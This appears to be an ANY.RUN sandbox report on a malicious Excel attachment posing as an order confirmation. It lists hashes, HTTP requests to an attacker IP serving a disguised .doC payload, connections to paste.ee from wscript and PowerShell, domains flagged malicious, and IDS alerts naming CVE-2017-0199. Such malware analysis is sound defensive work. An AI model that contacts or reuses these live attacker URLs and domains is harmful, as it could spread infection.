268EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D99C5EF5.emfbinary
MD5:9ABE7EB352E0DB96B52C99AC2FDEA85F
SHA256:EC022DFF1CC8251BA9D849C16431914635473FC5457AE73AA277651B47948869
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
17
DNS requests
5
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
324
WINWORD.EXE
OPTIONS
200
172.234.217.97:80
http://172.234.217.97/cnn/
unknown
—
—
unknown
268
EXCEL.EXE
GET
200
172.234.217.97:80
http://172.234.217.97/cnn/microsoftballonetechnologyisthenewprocesstoadvancetechnologyupdationwhichmakeeverythingeasierforentrieindustryupdate.doC
unknown
text
65.4 Kb
unknown
324
WINWORD.EXE
HEAD
200
172.234.217.97:80
http://172.234.217.97/cnn/microsoftballonetechnologyisthenewprocesstoadvancetechnologyupdationwhichmakeeverythingeasierforentrieindustryupdate.doC
unknown
—
—
unknown
828
svchost.exe
OPTIONS
200
172.234.217.97:80
http://172.234.217.97/cnn/
unknown
html
338 b
unknown
828
svchost.exe
OPTIONS
301
172.234.217.97:80
http://172.234.217.97/cnn
unknown
html
338 b
unknown
828
svchost.exe
PROPFIND
301
172.234.217.97:80
http://172.234.217.97/cnn
unknown
html
338 b
unknown
828
svchost.exe
PROPFIND
200
172.234.217.97:80
http://172.234.217.97/cnn/
unknown
html
338 b
unknown
324
WINWORD.EXE
HEAD
200
172.234.217.97:80
http://172.234.217.97/cnn/microsoftballonetechnologyisthenewprocesstoadvancetechnologyupdationwhichmakeeverythingeasierforentrieindustryupdate.doC
unknown
—
—
unknown
828
svchost.exe
PROPFIND
301
172.234.217.97:80
http://172.234.217.97/cnn
unknown
html
338 b
unknown
828
svchost.exe
PROPFIND
200
172.234.217.97:80
http://172.234.217.97/cnn/
unknown
html
338 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
268
EXCEL.EXE
172.234.217.97:80
—
Akamai International B.V.
US
unknown
324
WINWORD.EXE
172.234.217.97:80
—
Akamai International B.V.
US
unknown
828
svchost.exe
172.234.217.97:80
—
Akamai International B.V.
US
unknown
3568
EQNEDT32.EXE
172.234.217.97:80
—
Akamai International B.V.
US
unknown
560
wscript.exe
188.114.96.3:80
paste.ee
CLOUDFLARENET
NL
unknown
560
wscript.exe
188.114.96.3:443
paste.ee
CLOUDFLARENET
NL
unknown
2132
powershell.exe
188.114.97.3:443
paste.ee
CLOUDFLARENET
NL
unknown

DNS requests

Domain
IP
Reputation
paste.ee
  • 188.114.96.3
  • 188.114.97.3
shared
uploaddeimagens.com.br
  • 188.114.97.3
  • 188.114.96.3
shared
ctldl.windowsupdate.com
  • 95.101.54.128
  • 95.101.54.105
  • 95.101.54.113
whitelisted
top.noforabusers1.xyz
  • 147.124.215.172
malicious
geoplugin.net
  • 178.237.33.50
malicious

Threats

PID
Process
Class
Message
268
EXCEL.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
268
EXCEL.EXE
Potentially Bad Traffic
ET HUNTING Suspicious Request for Doc to IP Address with Terse Headers
268
EXCEL.EXE
A Network Trojan was detected
ET EXPLOIT CVE-2017-0199 Common Obfus Stage 2 DL
268
EXCEL.EXE
Potentially Bad Traffic
ET INFO Possible RTF File With Obfuscated Version Header
324
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
324
WINWORD.EXE
Misc activity
ET USER_AGENTS Microsoft Office Existence Discovery User-Agent
324
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
3568
EQNEDT32.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host VBS Request
560
wscript.exe
Potential Corporate Privacy Violation
ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
2132
powershell.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1
2 ETPRO signatures available at the full report
Process
Message
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Подтверждение заказа.xls